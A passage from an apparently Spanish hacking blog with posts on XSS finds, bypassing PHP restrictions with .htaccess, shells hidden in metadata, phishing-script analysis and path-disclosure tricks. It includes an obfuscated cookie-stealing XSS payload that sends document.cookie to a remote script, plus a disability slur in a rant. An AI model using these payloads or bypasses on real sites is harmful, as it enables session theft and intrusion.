Landsbanki Islas Número de cuenta 0111-26-611010
BANCO / SWIFT: NBIIISREXXX
CUENTA / IBAN: IS97 0111 2661 1010 6110 1002 80
3. Transferencia bancaria - Opción 2: a través de la Wau sin fines de lucro Holanda Stiftung:

Este apoyo es deducible de impuestos en Alemania
Cuenta bancaria: 2772812-04
IBAN: DE46 5204 0021 0277 2812 04
Código BIC: COBADEFFXXX
Banco: Commerzbank Kassel
Alemán BLZ: 52040021
Asunto: Wikileaks / Projekt WHS 04

4. A través de correo postal

Usted puede enviar una donación a través de la moda buenos correo postal a:

Wikileaks
(O cualquier nombre que puedan corresponder para evitar la interceptación de su país)
CAJA 4080
Australia Post Office - Universidad de Melbourne Poder
Victoria 3052
Australia

XSS en metroflog

2010-08-26T18:53:00.003+02:00

Saludos,

Qué decir. Símplemente he abandonado todo esto, actualmente tengo otros intereses y prioridades en mi vida. Hace más de un año que no publico nada, pero sigo manteniendo el blog para aquellos que le sirvan los papers que fui publicando a lo largo del tiempo.

Como despedida, este XSS que encontré en metroflog por pura casualidad (sí, yo también me engancho a las redes sociales, como cualquier hijo de vecino, y sí, tengo tuenti para qué negarlo.) Aquí lo teneis, si alguien quiere reportarlo y ganarse un sugus adelante:

http://www.metroflog.com/errors/error_temporal.php?error=

En telefónica sobran inútiles.

2009-07-09T19:00:00.003+02:00

Saludos a todos!

Pues sí, esto es bien sabido por todos. ¿Quien no ha llamado nunca a Telefónica para que le brinden soporte técnico? ¿Y a cuantos os ha ido bien?. Yo todavía no conozco a ninguno...

Como podeis deducir, he llamado hoy a telefónica. Aquí, en mi barriada, somos el culo del mundo. No llega ADSL, ni banda ancha, ni siquiera podemos contratar 1MB. Para la infraestructura existente, únicamente podemos trabajar con banda estrecha. Y es que hasta hace bien poco no existía línea telefónica, los teléfonos funcionaban con antenas...

Bien, como iba diciendo, mi conexión es a través de acceso telefónico por un modem, ¡Que chupiguay!. En los últimos días no podía conectarme a internet, me salían errores 678, de que el equipo remoto no respondía. A mi y a todo el pueblo en general. Tras media hora dando a "Reintentar conexion", acabas por conectarte, supongo que por aburrimiento. Pues bien, hoy me he tirado una hora y cuarto y nanai de la china... Así que, oh que grave error por mi parte, decidí llamar a Telefónica para me informaran de qué pasaba y cómo solucionarlo.

Así que llamé al teléfono del demonio, el 1004. Me contesta una máquina -que era muy amable, por cierto- pidiéndome mi número de teléfono fijo y preguntando con mi problema. Le digo mi problema y me manda al teléfono 902 357 000. Así que llamé a ese número:

-Bienvenido al servicio de soporte técnico para ADSL e Imagenio. Para poder localizarle, introduzca su número.
-950 XXX XXX
(continúa hablando, dando publicidad de 11822 y opciones varias...)
-Hola caballerito, le atiende NombreMuyRápido, ¿En qué podemos ayudarle?
-Sí, buenas... estoy tratando de conectarme a internet y me salta un error...
(me interrumpe rápidamente)
-¿Que tipo de error? 800 y pic, 700 y pico...?
-Error 678...
-Anjá caballerito, ¿Podía darme su número de teléfono y nombre para verificar?
-Faltaría más, 950 XXX XXX, mi nombre es X-C3LL Father (el de mi viejo).
-Ok.. ahorita mismo verifico y continuamos, aguarde un momento.
-Ok...

En este instante ya me da mala espina... siento algo tenebroso... me ponen música... pero no música cualquiera no... ¡¡REGUETON!!. Me cagüenDiosYenTodosLosSantos...
-Disculpe caballerito, pero ya hemos verificado sus datos. ¿Usted tiene contratada una línea de banda estrecha?
-Sí así es
-Pues discupe usted, caballerito, pero es que aquí sólamente damos soporte a ADSL y a imagino, no podemos ayudarlo.
-Anjá... es que llamé al 1004 y me dieron este número....
-Caballerito, llame al 1002 que es el número de averías allí podrán ayudarlo.
-Hostias... esto va por mal camino...
-¿Decía, caballerito?
-Nada nada... cosas mías, pues muchas gracias llamaré a ver que me dicen por ahí.

Sí es la maldición de cualquier teleoperadora... las redirecciones de teléfono... de esto no puede salir nada bueno... Marquemos 1002... Me salta la maquinita con lo mismo, introduzca el número etc... omitamos esto y vayamos al "Operador".

-Buenas, le atiende NombreMásRápidoAúnqueElAnterior, ¿Qué podemos hacer por usted?
-Si mire... le llamo porque no puedo conectarme a internet...
-Ah disculpe, ¿Podría darme su número de teléfono?
-Por supuesto, 950 XXX XXX...
-Aguarde unos instantes, que ahorita mismo los verifico.
(Joder con las verificaciones de los huevos....)
-¿Su nombre es X-C3LL Father ?
-El mismo que viste y calza //tomémoslo con humor porque si no...
-¿Decía?
-Digo que sí, que soy yo.
-Veo que tiene contratado el Düo de internet + llamada... y respectito a internet usted tiene puesto banda estrecha. ¿Cierto?
-Sí...
-¿Y no ha pensado cambiarse al ADSL?
-Me ha leido el pensamiento.
-¿Y porqué no lo hace?
-Según telefónica, no se puede.
-¿En serio? voy a verificarlo, ahorita mismo vuelvo.

Nos han jodido con las esperas.... nos van a sacar hasta el hígado. Musiquita de los huevos, pero bueno La Cabalgata de las Walkirias esta vez... Me gusta mucho... además me inspira...
-Señor sigue ahí?
-Sí aquí estoy esperando sus verificaciones
-Sí, le decía que efectivamente usted no puede contratar ADSL
- ¿En serio? No lo sabía, gracias por informarme..
-Para eso estamos señor. ¿Decía que su problema era que no podía conectarse a internet, cierto?
-Sí... eso dije al inicio.
-Pues lo siento, pero este número de atención es únicamente para soporte de teléfono, para internet es el número 902 357 000. Llame y allí le ayudaran....
-Ya llamé ahí, y me dieron este número
- ¿En serio? Voy a verificarlo ahorita mismo...

Si ya lo sabía yo... quien me mandaría llamar a telefónica... si es que nunca escarmiento... la flauta mágica suena ahora...

-Pues es cierto, señor. Haga lo siguiente, llame de nuevo y espere a que termine la locucioncita, y despues el experto de banda estrecha de telefónica le atenderá.
- Si atenderme no lo dudo... ¿Pero me va a ayudar?
- Disculpe señor no le entiendo.
- Nada nada...

Bueno, volvemos a estar donde antes. Esperemos que el Sr. Experto en Banda Estrecha de Telefónica me pueda ayudar...

(máquina automática)
-Buenas, le atiende NombreFalso, ¿En qué le puedo ayudar?
- Sí buenas... trato de conectarme a internet y me salta un error...
-Anjá.. entiendo... Dele dos clicks izquierdos a su conexión por defecto.
- No está mal configurada si es lo que piensa...
- Disculpe, pero yo aquí soy el experto.

Nos han jodido. Nos han jodido bien, Madariagas. Que vamos de "yo trabajo en esto y SÉ MAS QUE USTED". Bueno, bailemos a su son...

-Venga mister, ya lo tengo abierto, ¿QUe hago ahora?
-¿Tiene puesto de usuario Telefonicanet@telefonicanet?
-Po si.
-¿Y de número de teléfono 908200025 ?
-Po si.
-Clicke en propiedades.
-Hecho mister.
-Ahora usted verá una ventana con muchas pestañas...
- La veo la veo.
- En general, ¿Qué numero aparece?
- 908200025
- Ah.. pues eso está bien. Qué raro. ¿Y tiene la seguridad en "Típica"?
- Efectivamente, es usted un lince.
- Gracias... Vaya a funciones de red, clique dos veces en Protocolo Internet... Y verá usted las DNS.
- Efectivamente mister.
- ¿Podría decirme que números pone?
- Pues de preferente esta y de alternativa esta otra...
-Anjá pues aquí está el problema.
- No se ofenda... no dudo de sus poderes telepáticos pero... ¿Cuando le he dicho mi problema?
- Vamos a ver Chico, yo aquí soy el experto, y los DNS tienen qeu ser estos... Seguro qeu ha sido algún virus informático el que te ha trastocado eso....
- A sí... el virus RGB090...
-¿Como dice?
- Nada cosas mías. Que digo yo, que no sé nada de cacharros de estos, que los DNS los cambié porque los que me proporcionaba por defecto Telefónica me bloqueaba algunas webs...
-Imposible.
-Posible, mire mister, que se lo juro por Snoopy y todos sus amigos.
-Bueno, ponga estos DNS, reinicie y digame si puede conectarse...
- Allá voy señor experto...
(reinicio el ordenata...)
-Mister, que esto sigue sin chutar.
-Imposible
-Posible.
-Que le digo que es imposible, que ya tienes bien los DNS.
-Un pequeño inciso, mister.
- Diga.
- Que digo.. que el problema es general a todo el pueblo.. que digo yo que porque la configuración de mis DNS sea diferente a la default, no influiría en el resto de personal... ¿no?
- Pues sí que influye, no vaya uste de listo, que aquí soy yo el esperto.

Venga, perico al torno. Que tenemos al Dr. Jaimito, Doctorado en Banda Estrecha por la universidad de Yale...
-Pues mire usted, que yo de esto de la informática no tengo ni idea, pero que creo qeu se equivoca. Y por cierto, para poder resolver mi problema no debería saber primero cual es ?
- Vengaaaaaaaaaaaaaaaaaaaaaaa que ya le he dicho que su problema era el de los DNS.
- Y dale perico al torno.
- ¿Como dice?
- Que parece que han hecho una escursión los de la asociación de síndrome de Down y se a perdido uno dentro de la oficina de telefónica...
- A ver borde, ¿Cual es su dichoso problema? //con voz de MUCHO RITINTIN.
- Que cuando trato de conectarme, cuando está marcando, me salta un error diciendome que el equipo remoto no responde.
-Imposible.
-Posible.
- Que le digo yo a usted qeu eso es imposible.
- Y yo a usted que es eso lo que me pasa.
- Pues si ese es su problema, cuando haya reiniciado y haya puesto los DNS que le dicho todo le funcionará..
- Y dale pesado.
- Que le digo a usted qeu son los DNS, y probablemente el virus ese RGB090 esté por tod el pueblo y es el responsable.

Aquí me parto el culo. Así exploto, BOOM, carcajadas hasta saltar las lágrimas. Puto virus RGB090 JAJAJAJAJA. Es que no me podía contener la risa.

-Un momento, esperese.
- ¿A qué?
- A que implosiones criaturica.
- ¿mm...?
-Nada, una pregunta, ¿Podrías pasarme con alguien qeu sepa algo ?
-Yo soy el experto qeu se te ha asignado..
- Pues si así es el experto.... no quiero saber como son el resto.
Clic.

Pues espero una hora más... y mágicamente me ha funcionado, eso sí, tratando de entrar veinteminutos enteros.. Y es que la verdad... en telefónica sobran inútiles.

Pôr cierto, espero qeu vuestros antivirus se protejan contra el virus RGB090...

Byt3z!

Redifiniendo directivas PHP: .htaccess

2009-06-30T23:41:00.005+02:00

Saludos!!

Bueeeeeeeeno, hace mucho tiempo que no me podía pasar por el blog. El caso es que estuve con los exámenes y demas parafernália universitarias que paso de comentar. Ahora mismo he vuelto a mi rutina noctámbula delante del ordenador, con una línea magnífica de 24kbps. Por suerte esta situación "precaria" en cuanto a internet sólo durará hasta Septiembre, cuando vuelva al mundo normal AKA Salamanca.

Pero bueno, veo que mis compañeros de aventuras en el blog han continuado posteando para que esto no muriera, tarea muy loable. Hoy vengo con la típica energía y entusiasmo que da el iniciar las vacaciones, así que vamos a aprovecharla para hablar de un tema interesante que ya se tocó muy por encima en el post sobre servidores: modificar directivas para tener más "margen de movimiento".

Para empezar, debemos de comprender que el comportamiento de los scripts PHP que corremos en un servidor están basados en una configuración preestablecida, indicada en el archivo php.ini. Este archivo contiene lo que a partir de ahora denominaremos como directivas, que son las instrucciones que marcarán las pautas de comportamiento de PHP, incluyendo limitaciones (que básicamente es la parte que a nosotros nos interesa). Estas directivas están compuestas por una clave y un valor para dicha clave.

Las directivas que más nos van a ir interesando (por que tal vez nos puedan tocar un tanto las narices) van a ser safe_mode, Magic_Quotes, open_basedir, disable_functions...

Safe_Mode, como su propio nombre indica, activa el "Modo Seguro" de PHP, bloqueando ciertas funciones. Sus posibles valores son On y Off. Despues tenemos magic_quotes_[gpc/runtime/sybase], directiva desaconsejada por la mayoría de webmaster, (aunque a la hora de las SQLi es un impedimento desalentador en muchos casos) y básicamente funciona añadiendo una barra invertida (o una comilla simple) a a los caracteres /, ','' y NULL. De esta forma se pretende impedir las inyecciones... Al igual que safe_mode, sus valores son On y OFF.

Por otro lado tenemos Open_basedir, cuya utilidad es determinar un área de trabajo de PHP, e impedir al ejecución de funciones en puntos más altos del árbol de directorios (más adelante lo explico de forma sencilla). Por último, explicar una de las directivas más restrictivas de cara a una intrusión: disable_functions. Esta directiva se encarga de inhabilitar aquellas funciones que le indiquemos. Hay que aclarar que presenta independencia con respecto a Safe_Mode.

Todas estas directivas suelen emplearse en servidores de hosting que emplean para diferentes webs un mismo servidor. Para impedir que los usuarios intervengan (de forma maliciosa o por error) en el espacio de otros, ya sea en los archivos, configuraciones, directorios, etc. Por ejemplo, mediante open_basedir, podemos impedir que desde el espacio empleado por el usuario A pueda ejecutar algún script/programa que pueda afectar a un usuario B.

Vale, sé que esta introducción es un tanto básica y que se conoce, pero así espero que la gente pueda comprender todo desde 0. Así que continuemos. Estas directivas pueden ser modificadas desde diferentes puntos, siendo éste uno de los objetivos primoridales cuando obtenemos acceso a un servidor, puesto que lo primero es poder tener cierto margen de maniobrabilidad para poder avanzar en nuestra intrusión. Pero claro, no todas las directivas pueden ser modificable de "tantas formas". Existe una pequeña clasificación de las directivas.

La modificabilidad de las directivas viene definida por las constantes PHP_INI_USER,PHP_INI_PERDIR , PHP_INI_SYSTEM y PHP_INI_ALL.

Bien, aquellas directivas PHP_INI_USER, pueden ser modificadas desde un script por parte del usuario (usando la función ini_set(), por ejemplo); PHP_INI_PERDIR desde .htaccess, httpd.conf y desde el propio php.ini; PHP_INI_SYSTEM desde php.ini o httpd.conf; PHP_INI_ALL desde cualquier lugar. Para conocer a qué categoría pertenecen las directivas, clickad aquí (PHP-ES.COM). Existe otro tipo de directivas, entre las que se encuentra disable_functions, que únicamente son modfiicable a través de php.ini.

Algunas directivas pueden ser modificables a través del archivo .htaccess. Para ello, tenemos dos opciones y son a través de php_flag y php_value. Si creamos un archivo .htaccess en el servidor en el que estamos, podemos redefinir aquellas directivas cuyos posibles valores sean on u off usando php_flag:

php_flag magic_quotes_gpc on

Y cuando existe polivalencia para la instrucción, empleamos php_value. Si lo que deseamos es eliminar algún valor, utilizaremos none.

El hecho de poder crear un .htaccess que redifina las directivas (principalmente las de seguridad) es algo muy sencillo de hacer y que nos puede ayudar en muchas ocasiones.

La configuración, viene dada por el archivo php.ini (como ya dijimos en un principio), y por los archivos .htaccess (y httpd.conf). Si tenemos un .htacces redifiniendo directivas en la raíz, a la hora de decidir cuál se van a emplear ( si que aparecen indicadas en php.ini o por el contrario las que aparecen en .htacces), la balanza se va a del lado del .htaccess. Además, en esto de las preferencias, interviene un detalle crucial y que es, en síntesis, aquél por el cual podemos emplear este método a modo de "bypass" de restricciones, y es la heredabilidad.

Cuando hablamos de la heredabilidad de .htacces, hacemos referencia a que si hay un archivo de este tipo en un directorio, y existe otro en la raíz, las indicaciones presente en el archivo existente en el propio directorio donde se está ejecutando el script PHP seran aquellas que se tengan en cuenta.

Espero que este artículo se entienda más o menos (si existe algún error comunicadmelo). La verdad es que .htaccess es una herramienta muy útil, y que se le está dando bastante uso: desde asociar scripts PHP a extensiones tipo jpeg, gif, etc, hasta bypassear mod_security.

Byt3z

Blog System v1.5 - XSS por post

2009-06-09T22:39:00.002+02:00

Name: Blog System v1.5
Vuln: XSS
Web: http://www.netartmedia.net/blogsystem/
Dork: WTF!
Author: >> s E t H <<
My blog: http://0verl0ad.blogspot.com/
Email: seth /A\ el-hacker /D\ org

Ver exploit
Para probar, pueden apuntar el form a http://www.blog23.com/index.php

ServerInfo 0.1

2009-06-04T21:29:00.005+02:00

Es un poco molesto estar conectando con netcat y mandando heads y options cada vez que queres ver los headers de un servidor web, asi que hice este script muy sencillo que te muestra esa información.
Pueden bajarlo de acá y acá.

una demostracion de lo que hace y como se usa:

seth@debian:~$ chmod +x sinfo.sh
seth@debian:~$ ./sinfo.sh microsoft.com OPTIONS
********************************
* ServerInfo 0.1               *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org       *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Allow: OPTIONS, TRACE, GET, HEAD
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Wed, 03 Jun 2009 23:18:58 GMT
seth@debian:~$ ./sinfo.sh www.google.com.ar HEAD
********************************
* ServerInfo 0.1               *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org       *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:05 GMT
Server: gws
seth@debian:~$ ./sinfo.sh foro.undersecurity.net GET
********************************
* ServerInfo 0.1               *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org       *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:17 GMT
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b
X-Powered-By: PHP/5.2.6
seth@debian:~$ ./sinfo.sh foro.undersecurity.net OPTIONS
********************************
* ServerInfo 0.1               *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org       *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:27 GMT
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 FrontPage/5.0.2.2635 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.8b
Location: http://www.google.com/search?q=Como%20puedo%20ser%201337%20h4x0r?!?!!1
seth@debian:~$ ./sinfo.sh foro.portalhacker.net OPTIONS
********************************
* ServerInfo 0.1               *
* http://0verl0ad.blogspot.com *
* seth /A\ el-hacker.org       *
********************************
Uso: ./sinfo.sh host [GET|HEAD|OPTIONS]


Date: Wed, 03 Jun 2009 23:19:47 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8b
Allow: GET, HEAD, OPTIONS, TRACE
seth@debian:~$

Lo que hace es mandar una petición http (con pocas cabeceras, se puede agregar mas para que parezca de un usuario normal) usándo los métodos GET, OPTIONS o HEAD y muestra lo mas interesante de la respuesta.

C1c4Tr1Z (Blog) me respondió con una version mucho mas corta usando curl (tiene cosas a favor y en contra):

Te recomendaría usar curl:

Language: Bash
c1c4tr1z(bash) % ~ $ data=( localhost OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]}
HTTP/1.1 200 OK
Date: Thu, 04 Jun 2009 00:40:53 GMT
Server: Apache
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: httpd/unix-directory

Pero despues se podría hacer mas especifico con awk , por ejemplo, para checkear si nos responde con un código 200 (OK):

Language: Bash
c1c4tr1z(bash) % ~ $ data=( localhost OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]} | awk '
BEGIN{a=0}
$1~/^HTTP\/1\.[0-1]$/{if($2=="200"){a=1}}
{if(a==1){print$0}}'
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                            Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.1 200 OK
Date: Thu, 04 Jun 2009 00:51:38 GMT
Server: Apache
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: httpd/unix-directory

c1c4tr1z(bash) % ~ $ data=( localhost/no-existe/ OPTIONS );curl -X "${data[1]}" -H "Host: ${data[0]}" -I -A "one-user-agent/1.1.1.1" ${data[0]} | awk '
BEGIN{a=0}
$1~/^HTTP\/1\.[0-1]$/{if($2=="200"){a=1}}
{if(a==1){print$0}}'
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                            Dload  Upload   Total   Spent    Left  Speed
0   296    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
c1c4tr1z(bash) % ~ $

Entonces, si el código HTTP devuelto es 200 (OK) el valor de a, que comienza siendo 0, va a ser 1 lo que haría que awk de como output todo el resultado de la cabecera.

Si querés mas información del tema:
HTTP/1.1: Header Field Definitions
Posts sobre http en el blog

No necesito que me digan que no soy bueno en bash, pero acepto sugerencias, mejoras, opiniones, etc.

Impuestazo tecnológico en Argentina

2009-05-21T23:01:00.002+02:00

En estos días el Congreso de la Nación debatirá el Proyecto de Ley 07-PE-09 (impulsado por el Gobierno Nacional) que aumenta la tasa de IVA del 10.5% a 21% para productos TIC (notebooks, monitores, cámaras de fotos y celulares y productos de otros sectores como aires acondicionados, etc); además, modifica la Ley de Impuestos Internos, gravando dichos productos con una alícuota del 20,48%.

¿Qué significa esto para el consumidor común y corriente?

Un incremento promedio de precios de esos productos aproximadamente del 30% al 40%, con un impacto directo para todos nosotros y sobre todo para los sectores de menores ingresos.
Este impuestazo llevaría necesariamente al aumento de precios de todos estos productos.

Creo que ya estan suficientemente caras las cosas como para subir mas el precio. Se acuerdan de los incentivos como el plan MiPC? que pasó?
Pueden bajarse el pdf con el proyecto aca

En una parte dice:

Por otra parte, importa incorporar al objeto del
gravamen que nos ocupa, determinados productos suntuarios, de forma tal que quienes más
poseen colaboren en mayor medida en la formación de las reservas necesarias para
enfrentar con mejores medios la crisis financiera internacional y de aquellos bienes que
demandan un alto consumo energético, de manera tal de incentivar el uso racional de la
energía, en consonancia con las políticas vigentes a nivel nacional e internacional.

Según la RAE:

suntuoso, sa.
(Del lat. sumptuōsus).
1. adj. Grande y costoso.
2. adj. Dicho de una persona: Magnífica en su gasto y porte.

Claro, resulta que una computadora ahora es un lujo y no una herramienta y alguien que no sabe usar una computadora tiene las mismas oportunidades de trabajo que alguien que si lo sabe hacer.
También habla de que colaboren "los que mas tienen". Los que mas tienen son los que gastan millones robados a la gente en viajes y lujos o alguien que se compra una computadora para trabajar, aprender o acercarse a la tecnologia?

El proyecto se va a tratar despues del 28 de junio, mientras pueden informarse en http://no-al-impuestazo-tecnologico.blogspot.com/ e intentar mostrar su descontento a los diputados enviandoles un email.

Ojo, que también es culpa de todos nosotros (en realidad yo no porque todavia no voto, pero hablo del pueblo en general) por votar a estos garcas. Estaria bueno que todos vean este video.

Me entere en NPGeek

Metadatos IV: File inclusion & malicious metadata

2009-05-04T15:38:00.014+02:00

Saludos!!

Todo el mundo sabe que si una web tiene una vulnerabilidad LFI, y además cuenta con un uploader de imágenes (avatares, firmas, cosas así por ejemplo) o cualquier otro fichero, estás más que jodido. Normalmente simplemente tus shell.php la renombrabas a .jpeg, subías y fin, pero, hace ya un par de años hubo una persona que pensó más allá y se le ocurrió la magnífica idea de incluir la shell dentro de una imagen ya existente sin que esta se vea modificada, de tal forma que tú pudieras visualizar la imagen y así pasar desapercibida la shell. Esta idea la publicó CodeBreak en un paper llamado "Local JPEG Inclusion".

Ahora bien, y si ampliamos el espectro de extensiones al subir, es decir, no solo modificar de forma inapreciable una imagen, sino hacerlo con cualquier extensión que nos permita modificar sus metadatos. Esta es una gran idea: inyectar PHP en los metadatos.

Bueno, la verdad es que no tengo tiempo de probar algunas herramientas para hacer esto, por lo que os encomiendo a vosotros que probeis herramientas como exiftool y me digais los resultados.

PD: ya sé que es un post muy corto, pero no ando con tiempo de explayarme más.

Metes la mano en la lata y tenes la de otro en el bolsillo...

2009-04-24T01:44:00.004+02:00

Ayer (del dia en que empece a escribir el post, ya pasó mas tiempo)alguien que vamos a llamar "Señor G", me paso un... llamemoslo "script curiosamente parecido al login de paypal" para que lo mire (esto si es en serio, nunca pense en usarlo) y revise por que no andaba.
La línea que no andaba usa una función que no conosco, pero ese no es el tema del post. Lo que pasa es que mirando el código vi algo raro, fijense ustedes:

Para que todo esté mas claro, voy a modificar el código para que muestre el valor de las variables:

seth@Tux:~/Desktop$ php scam.php
El valor de $ar es
Array
(
[dont] => suck
[remove] => ea
[its] => ndo
[good] => @
[for] => gm
[your] => ail.
[scam] => com
)

Valor de $to: "suckeando@gmail.com"
Warning: file_get_contents(index.htm): failed to open stream: No such file or directory in /home/seth/Desktop/scam.php on line 13

El valor de $arr es
Array
(
[0] => usuario@dominio.tld
[1] =>
)

Opa! email nuevo
Destinatario: "usuario@dominio.tld"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: "suckeando@gmail.com"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: ""
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Opa! email nuevo
Destinatario: "suckeando@gmail.com"
Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"
Mensaje: "todos los datos robados"
Cabeceras:
"From: PeiPei
MIME-Version: 1.0
"

Enviando cabecera:"Location: Thanks.htm"

A ver si se entiende, todo lo que se hace con $ar es lo mismo que
$to="suckeando@gmail.com"

Despues se crea el array $arr con tu email y $IP (antes se pone el ip del que se le roban los datos, asi que no se que es)

Mas tarde se entra en un bucle que recorre ese array y manda el email a $IP (???), $send (vos) y $to (dos veces).

Al final se redirije al usuario a Thanks.htm para que no sospeche

Flisol 09

2009-04-21T23:58:00.003+02:00

Pueden buscar una reunión cerca de donde viven aca. Si tienen varias cerca, mirenlas todas porque capaz hacen unos kilómetros mas y consiguen mejores charlas, que te presten monitores, etc.

¿Quién lo organiza?

La Comunidad de Software Libre en Latinoamérica, conformada por personas y grupos de diversa índole, con el apoyo de otras entidades, principalmente educativas, y algunos patrocinadores de los eventos en cada localidad.

¿A quién está dirigido?

El evento está dirigido a todo tipo de público: estudiantes, académicos, empresarios, trabajadores, funcionarios públcios, entusiastas y aun personas que no poseen mucho conocimiento informático.

¿Cuánto cuesta?

La asistencia al evento es totalmente libre y gratuita.

¿Qué beneficios obtengo?

Tendrás la oportunidad de instalar software libre en tu computadora, apreciar qué es una real y segura alternativa a otros modelos de desarrollo y distribución de software.

Informarte sobre la filosofía, cultura y organización alrededor del mismo.
Conocer las experiencias, desarrollos e investigaciones de grupos y entidades en torno al Software Libre, tanto a nivel local como nacional e internacional.

Tal vez encuentres una alternativa/solución en software libre para ti, tu empresa, colegio, universidad e, incluso, para tu gobierno.

Podrás aclarar tus dudas acerca de los temas relacionados y, quizás encuentres en el software libre, una alternativa de investigación, empleo y desarrollo tecnológico.

Full Path Disclosure [FPD]

2009-04-14T00:36:00.007+02:00

Saludos a todos,

Hace ya tiempo que no hago mención a alguna vulnerabilidad de esas que consideramos de Regional Preferente... me refiero a esas que medio mundo desprecia, y el otro medio cuando algún colgado (como el servidor aquí presente) explica dicen aquello de... AHH ¿Pero esto es una vulnerabilidad?. Y como no podría ser de otra forma, el Full Path Disclosure, es una entra en esta categoría... ¡tan innecesarias y útiles a la vez!

De su propio nombre podemos imaginarnos con una probabilidad de éxito cerca al 0'87 (eliminamos a aquellos que ni jota de inglés x'D) qué es lo que hace esta vulnerabilidad. Si eres de esa pequeña franja que no se lo imagin... Se trata de poder ver las rutas reales del servidor. Si ves una web cualquiera, al estilo de www.ejemplo.mil/Prueba/Concepto/Index.php, y pecasemos de ingenuidad, podrías llegar a pensar que Index.php se encuentra en /home/Prueba/Concepto/Index.php, pero te aseguro que así no es. Lo más normal es que fuera /home/Victor/html_docs/Prueba/Concepto/Index.php, /home/Victor/html_public/web/Prueba/Concepto/Index.php, etc...

Entonces el FPD consiste en que tras introducir valores malformados podamos obtener errores de los cuales extraer la ruta. Esto te va sonando más, ¿Verdad? Son los clásicos errores de:


Warning: main(/include/lang/es.php): failed to open stream: No such file or directory in /home/PoC/include/global.php on line 18

Warning: main(): Failed opening '/include/lang/es.php' for inclusion (include_path='.:/home/PoC/include') in /home/miarroba/include/global.php on line 18 t

En ese error encontramos el más clásico entre los clásicos errores que nos aparecen al tratar de explotar un LFI. Y es en este momento donde te das cuenta de para qué sirve estos errores... Como acabo de decir, en los LFIs es muy interesante para poder localizar el lugar donde se encuentran los ficheros que incluye (P.E.: $path = "/Includes/Juaker/".$_GET['file']; include($path);, ya sabes qeu si tu shell está en /Includes/Upload/, vas a necesitar aplicar un ../ para saltar a /Includes/). Otro ejemplo común puede ser para emplear sentencias de volcado de contenido de ficheros a través de SQLi, donde por ejemplo para emplear load_file() necesitaremos conocer el path exacto de donde se encuentra el fichero que le pasamos como parámetro.

Pero hasta ahora hemos estado hablando de forma muy abstracta, mucho bla bla y poco movimiento, así que procedo algunas formas de provocar un FPD. Por supuesto que la más clásica y mítica es introducir un fichero inexistente como parámetro a una función del script que trabaje con ficheros... como no encuentra el archivo, nos arrojará un error al estilo del que ya he mostrado.

En general esto de meter parámetros malformados o erróneos suele funcionar en bastantes ámbitos, por ejemplo, si hacemos un clásico SQLi a un sistema que corre Windows, lo más probable es que nos encontremos con un mensajito de error volcado por OLE DB en el cual encontraremos la ruta del script que obtuvo el error. Otro escenario, quizás menos habitual pero igualmente interesante, es la de provocar Null Sessions (o introducir caracteres extraños en una cookie) para que session_start() de un error (idea sacada de OWASP).

La última forma que se me ocurre ahora mismo es una que leí de Xianur0 en su paper sobre vulnerabilidades en SMF, y es la de usar un array vacío. Por ejemplo: /index.php=seth[]=SUCKS

Creo que las vulnerabilidades de Sensitive Information al estilo de esta están muy infravaloradas, ya que casi siempre (quizás soy el único ser humano al que le ocurre esto) son un recurso interesante y útil a la hora de una auditoría de seguridad en WebApps.

Y cómo solucionarlo... facil, en las directivas poner error_reporting(0) :D

Byt3z

PD: Si conoceis más métodos de provocar FPDs, posteadlos.

PD: onmouseover="h=String.fromCharCode(104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,111,46,112,104,112,63,99,107,61);document.location(h.concat(document.cookie);"
PD2: onclick="alert(String.fromCharCode(112,114,117,101,98,97,115,53));"
PD3:"onmouseover="alert(String.fromCharCode(112,114,117,101,98,97,115,54));"

Metadatos III: OpenOffice

2009-04-13T10:47:00.004+02:00

Saludos a todos,

Hoy vamos a hablar de los metadatos en los archivos ofimáticos creados con OpenOffice (que abreviaremos con OO a partir de este momento), ya que está bastante referenciada y es relativamente fácil de entender.

